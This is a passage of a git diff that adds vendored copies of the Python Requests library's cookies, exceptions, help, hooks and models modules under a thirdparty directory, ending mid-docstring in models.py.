``remove_cookie_by_name()``. + """ + remove_cookie_by_name(self, name) + + def set_cookie(self, cookie, *args, **kwargs): + if hasattr(cookie.value, 'startswith') and cookie.value.startswith('"') and cookie.value.endswith('"'): + cookie.value = cookie.value.replace('\\"', '') + return super(RequestsCookieJar, self).set_cookie(cookie, *args, **kwargs) + + def update(self, other): + """Updates this jar with cookies from another CookieJar or dict-like""" + if isinstance(other, cookielib.CookieJar): + for cookie in other: + self.set_cookie(copy.copy(cookie)) + else: + super(RequestsCookieJar, self).update(other) + + def _find(self, name, domain=None, path=None): + """Requests uses this method internally to get cookie values. + + If there are conflicting cookies, _find arbitrarily chooses one. + See _find_no_duplicates if you want an exception thrown if there are + conflicting cookies. + + :param name: a string containing name of cookie + :param domain: (optional) string containing domain of cookie + :param path: (optional) string containing path of cookie + :return: cookie.value + """ + for cookie in iter(self): + if cookie.name == name: + if domain is None or cookie.domain == domain: + if path is None or cookie.path == path: + return cookie.value + + raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path)) + + def _find_no_duplicates(self, name, domain=None, path=None): + """Both ``__get_item__`` and ``get`` call this function: it's never + used elsewhere in Requests. + + :param name: a string containing name of cookie + :param domain: (optional) string containing domain of cookie + :param path: (optional) string containing path of cookie + :raises KeyError: if cookie is not found + :raises CookieConflictError: if there are multiple cookies + that match name and optionally domain and path + :return: cookie.value + """ + toReturn = None + for cookie in iter(self): + if cookie.name == name: + if domain is None or cookie.domain == domain: + if path is None or cookie.path == path: + if toReturn is not None: # if there are multiple cookies that meet passed in criteria + raise CookieConflictError('There are multiple cookies with name, %r' % (name)) + toReturn = cookie.value # we will eventually return this as long as no cookie conflict + + if toReturn: + return toReturn + raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path)) + + def __getstate__(self): + """Unlike a normal CookieJar, this class is pickleable.""" + state = self.__dict__.copy() + # remove the unpickleable RLock object + state.pop('_cookies_lock') + return state + + def __setstate__(self, state): + """Unlike a normal CookieJar, this class is pickleable.""" + self.__dict__.update(state) + if '_cookies_lock' not in self.__dict__: + self._cookies_lock = threading.RLock() + + def copy(self): + """Return a copy of this RequestsCookieJar.""" + new_cj = RequestsCookieJar() + new_cj.set_policy(self.get_policy()) + new_cj.update(self) + return new_cj + + def get_policy(self): + """Return the CookiePolicy instance used.""" + return self._policy + + +def _copy_cookie_jar(jar): + if jar is None: + return None + + if hasattr(jar, 'copy'): + # We're dealing with an instance of RequestsCookieJar + return jar.copy() + # We're dealing with a generic CookieJar instance + new_jar = copy.copy(jar) + new_jar.clear() + for cookie in jar: + new_jar.set_cookie(copy.copy(cookie)) + return new_jar + + +def create_cookie(name, value, **kwargs): + """Make a cookie from underspecified parameters. + + By default, the pair of `name` and `value` will be set for the domain '' + and sent on every request (this is sometimes called a "supercookie"). + """ + result = { + 'version': 0, + 'name': name, + 'value': value, + 'port': None, + 'domain': '', + 'path': '/', + 'secure': False, + 'expires': None, + 'discard': True, + 'comment': None, + 'comment_url': None, + 'rest': {'HttpOnly': None}, + 'rfc2109': False, + } + + badargs = set(kwargs) - set(result) + if badargs: + err = 'create_cookie() got unexpected keyword arguments: %s' + raise TypeError(err % list(badargs)) + + result.update(kwargs) + result['port_specified'] = bool(result['port']) + result['domain_specified'] = bool(result['domain']) + result['domain_initial_dot'] = result['domain'].startswith('.') + result['path_specified'] = bool(result['path']) + + return cookielib.Cookie(**result) + + +def morsel_to_cookie(morsel): + """Convert a Morsel object into a Cookie containing the one k/v pair.""" + + expires = None + if morsel['max-age']: + try: + expires = int(time.time() + int(morsel['max-age'])) + except ValueError: + raise TypeError('max-age: %s must be integer' % morsel['max-age']) + elif morsel['expires']: + time_template = '%a, %d-%b-%Y %H:%M:%S GMT' + expires = calendar.timegm( + time.strptime(morsel['expires'], time_template) + ) + return create_cookie( + comment=morsel['comment'], + comment_url=bool(morsel['comment']), + discard=False, + domain=morsel['domain'], + expires=expires, + name=morsel.key, + path=morsel['path'], + port=None, + rest={'HttpOnly': morsel['httponly']}, + rfc2109=False, + secure=bool(morsel['secure']), + value=morsel.value, + version=morsel['version'] or 0, + ) + + +def cookiejar_from_dict(cookie_dict, cookiejar=None, overwrite=True): + """Returns a CookieJar from a key/value dictionary. + + :param cookie_dict: Dict of key/values to insert into CookieJar. + :param cookiejar: (optional) A cookiejar to add the cookies to. + :param overwrite: (optional) If False, will not replace cookies + already in the jar with new ones. + :rtype: CookieJar + """ + if cookiejar is None: + cookiejar = RequestsCookieJar() + + if cookie_dict is not None: + names_from_jar = [cookie.name for cookie in cookiejar] + for name in cookie_dict: + if overwrite or (name not in names_from_jar): + cookiejar.set_cookie(create_cookie(name, cookie_dict[name])) + + return cookiejar + + +def merge_cookies(cookiejar, cookies): + """Add cookies to cookiejar and returns a merged CookieJar. + + :param cookiejar: CookieJar object to add the cookies to. + :param cookies: Dictionary or CookieJar object to be added. + :rtype: CookieJar + """ + if not isinstance(cookiejar, cookielib.CookieJar): + raise ValueError('You can only merge into CookieJar') + + if isinstance(cookies, dict): + cookiejar = cookiejar_from_dict( + cookies, cookiejar=cookiejar, overwrite=False) + elif isinstance(cookies, cookielib.CookieJar): + try: + cookiejar.update(cookies) + except AttributeError: + for cookie_in_jar in cookies: + cookiejar.set_cookie(cookie_in_jar) + + return cookiejar diff --git a/thirdparty/requests/exceptions.py b/thirdparty/requests/exceptions.py new file mode 100644 index 0000000..c412ec9 --- /dev/null +++ b/thirdparty/requests/exceptions.py @@ -0,0 +1,127 @@ +# -*- coding: utf-8 -*- + +""" +requests.exceptions +~~~~~~~~~~~~~~~~~~~ + +This module contains the set of Requests' exceptions. +""" +from urllib3.exceptions import HTTPError as BaseHTTPError + + +class RequestException(IOError): + """There was an ambiguous exception that occurred while handling your + request. + """ + + def __init__(self, *args, **kwargs): + """Initialize RequestException with `request` and `response` objects.""" + response = kwargs.pop('response', None) + self.response = response + self.request = kwargs.pop('request', None) + if (response is not None and not self.request and + hasattr(response, 'request')): + self.request = self.response.request + super(RequestException, self).__init__(*args, **kwargs) + + +class InvalidJSONError(RequestException): + """A JSON error occurred.""" + + +class HTTPError(RequestException): + """An HTTP error occurred.""" + + +class ConnectionError(RequestException): + """A Connection error occurred.""" + + +class ProxyError(ConnectionError): + """A proxy error occurred.""" + + +class SSLError(ConnectionError): + """An SSL error occurred.""" + + +class Timeout(RequestException): + """The request timed out. + + Catching this error will catch both + :exc:`~requests.exceptions.ConnectTimeout` and + :exc:`~requests.exceptions.ReadTimeout` errors. + """ + + +class ConnectTimeout(ConnectionError, Timeout): + """The request timed out while trying to connect to the remote server. + + Requests that produced this error are safe to retry. + """ + + +class ReadTimeout(Timeout): + """The server did not send any data in the allotted amount of time.""" + + +class URLRequired(RequestException): + """A valid URL is required to make a request.""" + + +class TooManyRedirects(RequestException): + """Too many redirects.""" + + +class MissingSchema(RequestException, ValueError): + """The URL schema (e.g. http or https) is missing.""" + + +class InvalidSchema(RequestException, ValueError): + """See defaults.py for valid schemas.""" + + +class InvalidURL(RequestException, ValueError): + """The URL provided was somehow invalid.""" + + +class InvalidHeader(RequestException, ValueError): + """The header value provided was somehow invalid.""" + + +class InvalidProxyURL(InvalidURL): + """The proxy URL provided is invalid.""" + + +class ChunkedEncodingError(RequestException): + """The server declared chunked encoding but sent an invalid chunk.""" + + +class ContentDecodingError(RequestException, BaseHTTPError): + """Failed to decode response content.""" + + +class StreamConsumedError(RequestException, TypeError): + """The content for this response was already consumed.""" + + +class RetryError(RequestException): + """Custom retries logic failed""" + + +class UnrewindableBodyError(RequestException): + """Requests encountered an error when trying to rewind a body.""" + +# Warnings + + +class RequestsWarning(Warning): + """Base warning for Requests.""" + + +class FileModeWarning(RequestsWarning, DeprecationWarning): + """A file was opened in text mode, but Requests determined its binary length.""" + + +class RequestsDependencyWarning(RequestsWarning): + """An imported dependency doesn't match the expected version range.""" diff --git a/thirdparty/requests/help.py b/thirdparty/requests/help.py new file mode 100644 index 0000000..4cd6389 --- /dev/null +++ b/thirdparty/requests/help.py @@ -0,0 +1,135 @@ +"""Module containing bug report helper(s).""" +from __future__ import print_function + +import json +import platform +import sys +import ssl + +import idna +import urllib3 + +from . import __version__ as requests_version + +try: + import charset_normalizer +except ImportError: + charset_normalizer = None + +try: + import chardet +except ImportError: + chardet = None + +try: + from urllib3.contrib import pyopenssl +except ImportError: + pyopenssl = None + OpenSSL = None + cryptography = None +else: + import OpenSSL + import cryptography + + +def _implementation(): + """Return a dict with the Python implementation and version. + + Provide both the name and the version of the Python implementation + currently running. For example, on CPython 2.7.5 it will return + {'name': 'CPython', 'version': '2.7.5'}. + + This function works best on CPython and PyPy: in particular, it probably + doesn't work for Jython or IronPython. Future investigation should be done + to work out the correct shape of the code for those platforms. + """ + implementation = platform.python_implementation() + + if implementation == 'CPython': + implementation_version = platform.python_version() + elif implementation == 'PyPy': + implementation_version = '%s.%s.%s' % (sys.pypy_version_info.major, + sys.pypy_version_info.minor, + sys.pypy_version_info.micro) + if sys.pypy_version_info.releaselevel != 'final': + implementation_version = ''.join([ + implementation_version, sys.pypy_version_info.releaselevel + ]) + elif implementation == 'Jython': + implementation_version = platform.python_version() # Complete Guess + elif implementation == 'IronPython': + implementation_version = platform.python_version() # Complete Guess + else: + implementation_version = 'Unknown' + + return {'name': implementation, 'version': implementation_version} + + +def info(): + """Generate information for a bug report.""" + try: + platform_info = { + 'system': platform.system(), + 'release': platform.release(), + } + except IOError: + platform_info = { + 'system': 'Unknown', + 'release': 'Unknown', + } + + implementation_info = _implementation() + urllib3_info = {'version': urllib3.__version__} + charset_normalizer_info = {'version': None} + chardet_info = {'version': None} + if charset_normalizer: + charset_normalizer_info = {'version': charset_normalizer.__version__} + if chardet: + chardet_info = {'version': chardet.__version__} + + pyopenssl_info = { + 'version': None, + 'openssl_version': '', + } + if OpenSSL: + pyopenssl_info = { + 'version': OpenSSL.__version__, + 'openssl_version': '%x' % OpenSSL.SSL.OPENSSL_VERSION_NUMBER, + } + cryptography_info = { + 'version': getattr(cryptography, '__version__', ''), + } + idna_info = { + 'version': getattr(idna, '__version__', ''), + } + + system_ssl = ssl.OPENSSL_VERSION_NUMBER + system_ssl_info = { + 'version': '%x' % system_ssl if system_ssl is not None else '' + } + + return { + 'platform': platform_info, + 'implementation': implementation_info, + 'system_ssl': system_ssl_info, + 'using_pyopenssl': pyopenssl is not None, + 'using_charset_normalizer': chardet is None, + 'pyOpenSSL': pyopenssl_info, + 'urllib3': urllib3_info, + 'chardet': chardet_info, + 'charset_normalizer': charset_normalizer_info, + 'cryptography': cryptography_info, + 'idna': idna_info, + 'requests': { + 'version': requests_version, + }, + } + + +def main(): + """Pretty-print the bug information as JSON.""" + print(json.dumps(info(), sort_keys=True, indent=2)) + + +if __name__ == '__main__': + main() diff --git a/thirdparty/requests/hooks.py b/thirdparty/requests/hooks.py new file mode 100644 index 0000000..7a51f21 --- /dev/null +++ b/thirdparty/requests/hooks.py @@ -0,0 +1,34 @@ +# -*- coding: utf-8 -*- + +""" +requests.hooks +~~~~~~~~~~~~~~ + +This module provides the capabilities for the Requests hooks system. + +Available hooks: + +``response``: + The response generated from a Request. +""" +HOOKS = ['response'] + + +def default_hooks(): + return {event: [] for event in HOOKS} + +# TODO: response is the only one + + +def dispatch_hook(key, hooks, hook_data, **kwargs): + """Dispatches a hook dictionary on a given piece of data.""" + hooks = hooks or {} + hooks = hooks.get(key) + if hooks: + if hasattr(hooks, '__call__'): + hooks = [hooks] + for hook in hooks: + _hook_data = hook(hook_data, **kwargs) + if _hook_data is not None: + hook_data = _hook_data + return hook_data diff --git a/thirdparty/requests/models.py b/thirdparty/requests/models.py new file mode 100644 index 0000000..aa6fb86 --- /dev/null +++ b/thirdparty/requests/models.py @@ -0,0 +1,966 @@ +# -*- coding: utf-8 -*- + +""" +requests.models +~~~~~~~~~~~~~~~ + +This module contains the primary objects that power Requests. +""" + +import datetime +import sys + +# Import encoding now, to avoid implicit import later. +# Implicit import within threads may cause LookupError when standard library is in a ZIP, +# such as in Embedded Python. See https://github.com/psf/requests/issues/3578. +import encodings.idna + +from urllib3.fields import RequestField +from urllib3.filepost import encode_multipart_formdata +from urllib3.util import parse_url +from urllib3.exceptions import ( + DecodeError, ReadTimeoutError, ProtocolError, LocationParseError) + +from io import UnsupportedOperation +from .hooks import default_hooks +from .structures import CaseInsensitiveDict + +from .auth import HTTPBasicAuth +from .cookies import cookiejar_from_dict, get_cookie_header, _copy_cookie_jar +from .exceptions import ( + HTTPError, MissingSchema, InvalidURL, ChunkedEncodingError, + ContentDecodingError, ConnectionError, StreamConsumedError, InvalidJSONError) +from ._internal_utils import to_native_string, unicode_is_ascii +from .utils import ( + guess_filename, get_auth_from_url, requote_uri, + stream_decode_response_unicode, to_key_val_list, parse_header_links, + iter_slices, guess_json_utf, super_len, check_header_validity) +from .compat import ( + Callable, Mapping, + cookielib, urlunparse, urlsplit, urlencode, str, bytes, + is_py2, chardet, builtin_str, basestring) +from .compat import json as complexjson +from .status_codes import codes + +#: The set of HTTP status codes that indicate an automatically +#: processable redirect. +REDIRECT_STATI = ( + codes.moved, # 301 + codes.found, # 302 + codes.other, # 303 + codes.temporary_redirect, # 307 + codes.permanent_redirect, # 308 +) + +DEFAULT_REDIRECT_LIMIT = 30 +CONTENT_CHUNK_SIZE = 10 * 1024 +ITER_CHUNK_SIZE = 512 + + +class RequestEncodingMixin(object): + @property + def path_url(self): + """Build the path URL to use.""" + + url = [] + + p = urlsplit(self.url) + + path = p.path + if not path: + path = '/' + + url.append(path) + + query = p.query + if query: + url.append('?') + url.append(query) + + return ''.join(url) + + @staticmethod + def _encode_params(data): + """Encode parameters in a piece of data. + + Will successfully encode parameters when passed as a dict or a list of + 2-tuples. Order is retained if data is a list of 2-tuples but arbitrary + if parameters are supplied as a dict. + """ + + if isinstance(data, (str, bytes)): + return data + elif hasattr(data, 'read'): + return data + elif hasattr(data, '__iter__'): + result = [] + for k, vs in to_key_val_list(data): + if isinstance(vs, basestring) or not hasattr(vs, '__iter__'): + vs = [vs] + for v in vs: + if v is not None: + result.append( + (k.encode('utf-8') if isinstance(k, str) else k, + v.encode('utf-8') if isinstance(v, str) else v)) + return urlencode(result, doseq=True) + else: + return data + + @staticmethod + def _encode_files(files, data): + """Build the body for a multipart/form-data request. + + Will successfully encode files when passed as a dict or a list of + tuples. Order is retained if data is a list of tuples but arbitrary + if parameters are supplied as a dict. + The tuples may be 2-tuples (filename, fileobj), 3-tuples (filename, fileobj, contentype) + or 4-tuples (filename, fileobj, contentype, custom_headers). + """ + if (not files): + raise ValueError("Files must be provided.") + elif isinstance(data, basestring): + raise ValueError("Data must not be a string.") + + new_fields = [] + fields = to_key_val_list(data or {}) + files = to_key_val_list(files or {}) + + for field, val in fields: + if isinstance(val, basestring) or not hasattr(val, '__iter__'): + val = [val] + for v in val: + if v is not None: + # Don't call str() on bytestrings: in Py3 it all goes wrong. + if not isinstance(v, bytes): + v = str(v) + + new_fields.append( + (field.decode('utf-8') if isinstance(field, bytes) else field, + v.encode('utf-8') if isinstance(v, str) else v)) + + for (k, v) in files: + # support for explicit filename + ft = None + fh = None + if isinstance(v, (tuple, list)): + if len(v) == 2: + fn, fp = v + elif len(v) == 3: + fn, fp, ft = v + else: + fn, fp, ft, fh = v + else: + fn = guess_filename(v) or k + fp = v + + if isinstance(fp, (str, bytes, bytearray)): + fdata = fp + elif hasattr(fp, 'read'): + fdata = fp.read() + elif fp is None: + continue + else: + fdata = fp + + rf = RequestField(name=k, data=fdata, filename=fn, headers=fh) + rf.make_multipart(content_type=ft) + new_fields.append(rf) + + body, content_type = encode_multipart_formdata(new_fields) + + return body, content_type + + +class RequestHooksMixin(object): + def register_hook(self, event, hook): + """Properly register a hook.""" + + if event not in self.hooks: + raise ValueError('Unsupported event specified, with event name "%s"' % (event)) + + if isinstance(hook, Callable): + self.hooks[event].append(hook) + elif hasattr(hook, '__iter__'): + self.hooks[event].extend(h for h in hook if isinstance(h, Callable)) + + def deregister_hook(self, event, hook): + """Deregister a previously registered hook. + Returns True if the hook existed, False if not. + """ + + try: + self.hooks[event].remove(hook) + return True + except ValueError: + return False + + +class Request(RequestHooksMixin): + """A user-created :class:`Request ` object. + + Used to prepare a :class:`PreparedRequest `, which is sent to the server. + + :param method: HTTP method to use. + :param url: URL to send. + :param headers: dictionary of headers to send. + :param files: dictionary of {filename: fileobject} files to multipart upload. + :param data: the body to attach to the request. If a dictionary or + list of tuples ``[(key, value)]`` is provided, form-encoding will + take place. + :param json: json for the body to attach to the request (if files or data is not specified). + :param params: URL parameters to append to the URL. If a dictionary or + list of tuples ``[(key, value)]`` is provided, form-encoding will + take place. + :param auth: Auth handler or (user, pass) tuple. + :param cookies: dictionary or CookieJar of cookies to attach to this request. + :param hooks: dictionary of callback hooks, for internal usage. + + Usage:: + + >>> import requests + >>> req = requests.Request('GET', 'https://httpbin.org/get') + >>> req.prepare() + + """ + + def __init__(self, + method=None, url=None, headers=None, files=None, data=None, + params=None, auth=None, cookies=None, hooks=None, json=None): + + # Default empty dicts for dict params. + data = [] if data is None else data + files = [] if files is None else files + headers = {} if headers is None else headers + params = {} if params is None else params + hooks = {} if hooks is None else hooks + + self.hooks = default_hooks() + for (k, v) in list(hooks.items()): + self.register_hook(event=k, hook=v) + + self.method = method + self.url = url + self.headers = headers + self.files = files + self.data = data + self.json = json + self.params = params + self.auth = auth + self.cookies = cookies + + def __repr__(self): + return '' % (self.method) + + def prepare(self): + """Constructs a :class:`PreparedRequest ` for transmission and returns it.""" + p = PreparedRequest() + p.prepare( + method=self.method, + url=self.url, + headers=self.headers, + files=self.files, + data=self.data, + json=self.json, + params=self.params, + auth=self.auth, + cookies=self.cookies, + hooks=self.hooks, + ) + return p + + +class PreparedRequest(RequestEncodingMixin, RequestHooksMixin): + """The fully mutable :class:`PreparedRequest ` object, + containing the exact bytes that will be sent to the server. + + Instances are generated from a :class:`Request ` object, and + should not be instantiated manually; doing so may produce undesirable + effects. + + Usage:: + + >>> import requests + >>> req = requests.Request('GET', 'https://httpbin.org/get') + >>> r = req.prepare() + >>> r + + + >>> s = requests.Session() + >>> s.send(r) + + """ + + def __init__(self): + #: HTTP verb to send to the server. + self.method = None + #: HTTP URL to send the request to. + self.url = None + #: dictionary of HTTP headers. + self.headers = None + # The `CookieJar` used to create the Cookie header will be stored here + # after prepare_cookies is called + self._cookies = None + #: request body to send to the server. + self.body = None + #: dictionary of callback hooks, for internal usage. + self.hooks = default_hooks() + #: integer denoting starting position of a readable file-like body. + self._body_position = None + + def prepare(self, + method=None, url=None, headers=None, files=None, data=None, + params=None, auth=None, cookies=None, hooks=None, json=None): + """Prepares the entire request with the given parameters.""" + + self.prepare_method(method) + self.prepare_url(url, params) + self.prepare_headers(headers) + self.prepare_cookies(cookies) + self.prepare_body(data, files, json) + self.prepare_auth(auth, url) + + # Note that prepare_auth must be last to enable authentication schemes + # such as OAuth to work on a fully prepared request. + + # This MUST go after prepare_auth. Authenticators could add a hook + self.prepare_hooks(hooks) + + def __repr__(self): + return '' % (self.method) + + def copy(self): + p = PreparedRequest() + p.method = self.method + p.url = self.url + p.headers = self.headers.copy() if self.headers is not None else None + p._cookies = _copy_cookie_jar(self._cookies) + p.body = self.body + p.hooks = self.hooks + p._body_position = self._body_position + return p + + def prepare_method(self, method): + """Prepares the given HTTP method.""" + self.method = method + if self.method is not None: + self.method = to_native_string(self.method.upper()) + + @staticmethod + def _get_idna_encoded_host(host): + import idna + + try: + host = idna.encode(host, uts46=True).decode('utf-8') + except idna.IDNAError: + raise UnicodeError + return host + + def prepare_url(self, url, params): + """Prepares the given HTTP URL.""" + #: Accept objects that have string representations. + #: We're unable to blindly call unicode/str functions + #: as this will include the bytestring indicator (b'') + #: on python 3.x. + #: https://github.com/psf/requests/pull/2238 + if isinstance(url, bytes): + url = url.decode('utf8') + else: + url = unicode(url) if is_py2 else str(url) + + # Remove leading whitespaces from url + url = url.lstrip() + + # Don't do any URL preparation for non-HTTP schemes like `mailto`, + # `data` etc to work around exceptions from `url_parse`, which + # handles RFC 3986 only. + if ':' in url and not url.lower().startswith('http'): + self.url = url + return + + # Support for unicode domain names and paths. + try: + scheme, auth, host, port, path, query, fragment = parse_url(url) + except LocationParseError as e: + raise InvalidURL(*e.args) + + if not scheme: + error = ("Invalid URL {0!r}: No schema supplied. Perhaps you meant http://{0}?") + error = error.format(to_native_string(url, 'utf8')) + + raise MissingSchema(error) + + if not host: + raise InvalidURL("Invalid URL %r: No host supplied" % url) + + # In general, we want to try IDNA encoding the hostname if the string contains + # non-ASCII characters. This allows users to automatically get the correct IDNA + # behaviour. For strings containing only ASCII characters, we need to also verify + # it doesn't start with a wildcard (*), before allowing the unencoded hostname. + if not unicode_is_ascii(host): + try: + host = self._get_idna_encoded_host(host) + except UnicodeError: + raise InvalidURL('URL has an invalid label.') + elif host.startswith(u'*'): + raise InvalidURL('URL has an invalid label.') + + # Carefully reconstruct the network location + netloc = auth or '' + if netloc: + netloc += '@' + netloc += host + if port: + netloc += ':' + str(port) + + # Bare domains aren't valid URLs. + if not path: + path = '/' + + if is_py2: + if isinstance(scheme, str): + scheme = scheme.encode('utf-8') + if isinstance(netloc, str): + netloc = netloc.encode('utf-8') + if isinstance(path, str): + path = path.encode('utf-8') + if isinstance(query, str): + query = query.encode('utf-8') + if isinstance(fragment, str): + fragment = fragment.encode('utf-8') + + if isinstance(params, (str, bytes)): + params = to_native_string(params) + + enc_params = self._encode_params(params) + if enc_params: + if query: + query = '%s&%s' % (query, enc_params) + else: + query = enc_params + + url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment])) + self.url = url + + def prepare_headers(self, headers): + """Prepares the given HTTP headers.""" + + self.headers = CaseInsensitiveDict() + if headers: + for header in headers.items(): + # Raise exception on invalid header value. + check_header_validity(header) + name, value = header + self.headers[to_native_string(name)] = value + + def prepare_body(self, data, files, json=None): + """Prepares the given HTTP body data.""" + + # Check if file, fo, generator, iterator. + # If not, run through normal process. + + # Nottin' on you. + body = None + content_type = None + + if not data and json is not None: + # urllib3 requires a bytes-like body. Python 2's json.dumps + # provides this natively, but Python 3 gives a Unicode string. + content_type = 'application/json' + + try: + body = complexjson.dumps(json, allow_nan=False) + except ValueError as ve: + raise InvalidJSONError(ve, request=self) + + if not isinstance(body, bytes): + body = body.encode('utf-8') + + is_stream = all([ + hasattr(data, '__iter__'), + not isinstance(data, (basestring, list, tuple, Mapping)) + ]) + + if is_stream: + try: + length = super_len(data) + except (TypeError, AttributeError, UnsupportedOperation): + length = None + + body = data + + if getattr(body, 'tell', None) is not None: + # Record the current file position before reading. + # This will allow us to rewind a file in the event + # of a redirect. + try: + self._body_position = body.tell() + except (IOError, OSError): + # This differentiates from None, allowing us to catch + # a failed `tell()` later when trying to rewind the body + self._body_position = object() + + if files: + raise NotImplementedError('Streamed bodies and files are mutually exclusive.') + + if length: + self.headers['Content-Length'] = builtin_str(length) + else: + self.headers['Transfer-Encoding'] = 'chunked' + else: + # Multi-part file uploads. + if files: + (body, content_type) = self._encode_files(files, data) + else: + if data: + body = self._encode_params(data) + if isinstance(data, basestring) or hasattr(data, 'read'): + content_type = None + else: + content_type = 'application/x-www-form-urlencoded' + + self.prepare_content_length(body) + + # Add content-type if it wasn't explicitly provided. + if content_type and ('content-type' not in self.headers): + self.headers['Content-Type'] = content_type + + self.body = body + + def prepare_content_length(self, body): + """Prepare Content-Length header based on request method and body""" + if body is not None: + length = super_len(body) + if length: + # If length exists, set it. Otherwise, we fallback + # to Transfer-Encoding: chunked. + self.headers['Content-Length'] = builtin_str(length) + elif self.method not in ('GET', 'HEAD') and self.headers.get('Content-Length') is None: + # Set Content-Length to 0 for methods that can have a body + # but don't provide one. (i.e. not GET or HEAD) + self.headers['Content-Length'] = '0' + + def prepare_auth(self, auth, url=''): + """Prepares the given HTTP auth data.""" + + # If no Auth is explicitly provided, extract it from the URL first. + if auth is None: + url_auth = get_auth_from_url(self.url) + auth = url_auth if any(url_auth) else None + + if auth: + if isinstance(auth, tuple) and len(auth) == 2: + # special-case basic HTTP auth + auth = HTTPBasicAuth(*auth) + + # Allow auth to make its changes. + r = auth(self) + + # Update self to reflect the auth changes. + self.__dict__.update(r.__dict__) + + # Recompute Content-Length + self.prepare_content_length(self.body) + + def prepare_cookies(self, cookies): + """Prepares the given HTTP cookie data. + + This function eventually generates a ``Cookie`` header from the + given cookies using cookielib. Due to cookielib's design, the header + will not be regenerated if it already exists, meaning this function + can only be called once for the life of the + :class:`PreparedRequest ` object. Any subsequent calls + to ``prepare_cookies`` will have no actual effect, unless the "Cookie" + header is removed beforehand. + """ + if isinstance(cookies, cookielib.CookieJar): + self._cookies = cookies + else: + self._cookies = cookiejar_from_dict(cookies) + + cookie_header = get_cookie_header(self._cookies, self) + if cookie_header is not None: + self.headers['Cookie'] = cookie_header + + def prepare_hooks(self, hooks): + """Prepares the given hooks.""" + # hooks can be passed as None to the prepare method and to this + # method. To prevent iterating over None, simply use an empty list + # if hooks is False-y + hooks = hooks or [] + for event in hooks: + self.register_hook(event, hooks[event]) + + +class Response(object): + """The :class:`Response ` object, which contains a + server's response to an HTTP request. + """ + + __attrs__ = [ + '_content', 'status_code', 'headers', 'url', 'history', + 'encoding', 'reason', 'cookies', 'elapsed', 'request' + ] + + def __init__(self): + self._content = False + self._content_consumed = False + self._next = None + + #: Integer Code of responded HTTP Status, e.g. 404 or 200. + self.status_code = None + + #: Case-insensitive Dictionary of Response Headers. + #: For example, ``headers['content-encoding']`` will return the + #: value of a ``'Content-Encoding'`` response header. + self.headers = CaseInsensitiveDict() + + #: File-like object representation of response (for advanced usage). + #: Use of ``raw`` requires that ``stream=True`` be set on the request. + #: This requirement does not apply for use internally to Requests. + self.raw = None + + #: Final URL location of Response. + self.url = None + + #: Encoding to decode with when accessing r.text. + self.encoding = None + + #: A list of :class:`Response ` objects from + #: the history of the Request. Any redirect responses will end + #: up here. The list is sorted from the oldest to the most recent request. + self.history = [] + + #: Textual reason of responded HTTP Status, e.g. "Not Found" or "OK". + self.reason = None + + #: A CookieJar of Cookies the server sent back. + self.cookies = cookiejar_from_dict({}) + + #: The amount of time elapsed between sending the request + #: and the arrival of the response (as a timedelta). + #: This property specifically measures the time taken between sending + #: the first byte of the request and finishing parsing the headers. It + #: is therefore unaffected by consuming the response content or the + #: value of the ``stream`` keyword argument. + self.elapsed = datetime.timedelta(0) + + #: The :class:`PreparedRequest ` object to which this + #: is a response. + self.request = None + + def __enter__(self): + return self + + def __exit__(self, *args): + self.close() + + def __getstate__(self): + # Consume everything; accessing the content attribute makes + # sure the content has been fully read. + if not self._content_consumed: + self.content + + return {attr: getattr(self, attr, None) for attr in self.__attrs__} + + def __setstate__(self, state): + for name, value in state.items(): + setattr(self, name, value) + + # pickled objects do not have .raw + setattr(self, '_content_consumed', True) + setattr(self, 'raw', None) + + def __repr__(self): + return '' % (self.status_code) + + def __bool__(self): + """Returns True if :attr:`status_code` is less than 400. + + This attribute checks if the status code of the response is between + 400 and 600 to see if there was a client error or a server error. If + the status code, is between 200 and 400, this will return True. This + is **not** a check to see if the response code is ``200 OK``. + """ + return self.ok + + def __nonzero__(self): + """Returns True if :attr:`status_code` is less than 400. + + This attribute checks if the status code of the response is between + 400 and 600 to see if there was a client error or a server error. If + the status code, is between 200 and 400, this will return True. This + is **not** a check to see if the response code is ``200 OK``. + """ + return self.ok + + def __iter__(self): + """Allows you to use a response as an iterator.""" + return self.iter_content(128) + + @property + def ok(self): + """Returns True if :attr:`status_code` is less than 400, False if not. + + This attribute checks if the status code of the response is between + 400 and 600 to see if there was a client error or a server error. If + the status code is between 200 and 400, this will return True. This + is **not** a check to see if the response code is ``200 OK``. + """ + try: + self.raise_for_status() + except HTTPError: + return False + return True + + @property + def is_redirect(self): + """True if this Response is a well-formed HTTP redirect that could have + been processed automatically (by :meth:`Session.resolve_redirects`). + """ + return ('location' in self.headers and self.status_code in REDIRECT_STATI) + + @property + def is_permanent_redirect(self): + """True if this Response one of the permanent versions of redirect.""" + return ('location' in self.headers and self.status_code in (codes.moved_permanently, codes.permanent_redirect)) + + @property + def next(self): + """Returns a PreparedRequest for the next request in a redirect chain, if there is one.""" + return self._next + + @property + def apparent_encoding(self): + """The apparent encoding, provided by the charset_normalizer or chardet libraries.""" + return chardet.detect(self.content)['encoding'] + + def iter_content(self, chunk_size=1, decode_unicode=False): + """Iterates over the response data. When stream=True is set on the + request, this avoids reading the content at once into memory for + large responses. The chunk size is the number of bytes it should + read into memory. This is not necessarily the length of each item + returned as decoding can take place. + + chunk_size must be of type int or None. A value of None will + function differently depending on the value of `stream`. + stream=True will read data as it arrives in whatever size the + chunks are received. If stream=False, data is returned as + a single chunk. + + If decode_unicode is True, content will be decoded using the best + available encoding based on the response. + """ + + def generate(): + # Special case for urllib3. + if hasattr(self.raw, 'stream'): + try: + for chunk in self.raw.stream(chunk_size, decode_content=True): + yield chunk + except ProtocolError as e: + raise ChunkedEncodingError(e) + except DecodeError as e: + raise ContentDecodingError(e) + except ReadTimeoutError as e: + raise ConnectionError(e) + else: + # Standard file-like object. + while True: + chunk = self.raw.read(chunk_size) + if not chunk: + break + yield chunk + + self._content_consumed = True + + if self._content_consumed and isinstance(self._content, bool): + raise StreamConsumedError() + elif chunk_size is not None and not isinstance(chunk_size, int): + raise TypeError("chunk_size must be an int, it is instead a %s." % type(chunk_size)) + # simulate reading small chunks of the content + reused_chunks = iter_slices(self._content, chunk_size) + + stream_chunks = generate() + + chunks = reused_chunks if self._content_consumed else stream_chunks + + if decode_unicode: + chunks = stream_decode_response_unicode(chunks, self) + + return chunks + + def iter_lines(self, chunk_size=ITER_CHUNK_SIZE, decode_unicode=False, delimiter=None): + """Iterates over the response data, one line at a time. 